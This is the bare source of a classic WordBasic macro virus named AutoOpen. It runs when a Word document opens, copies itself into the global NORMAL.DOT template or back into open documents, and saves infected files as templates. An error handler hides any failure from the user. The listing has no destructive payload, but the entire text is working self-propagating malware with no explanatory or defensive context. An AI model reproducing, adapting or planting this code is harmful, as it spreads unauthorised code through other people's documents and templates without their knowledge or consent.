Macro: AutoOpen

Sub MAIN
On Error Goto MinSize
F$ = FileName$() + ":AutoOpen"
G$ = "Global:AutoOpen"
M$ = UCase$(Right$(MacroFileName$(MacroName$(0)), 10))
If M$ = "NORMAL.DOT" Then
MacroCopy G$, F$
FileSaveAs .Format = 1
Else
MacroCopy F$, G$
EndIf
MinSize:
End Sub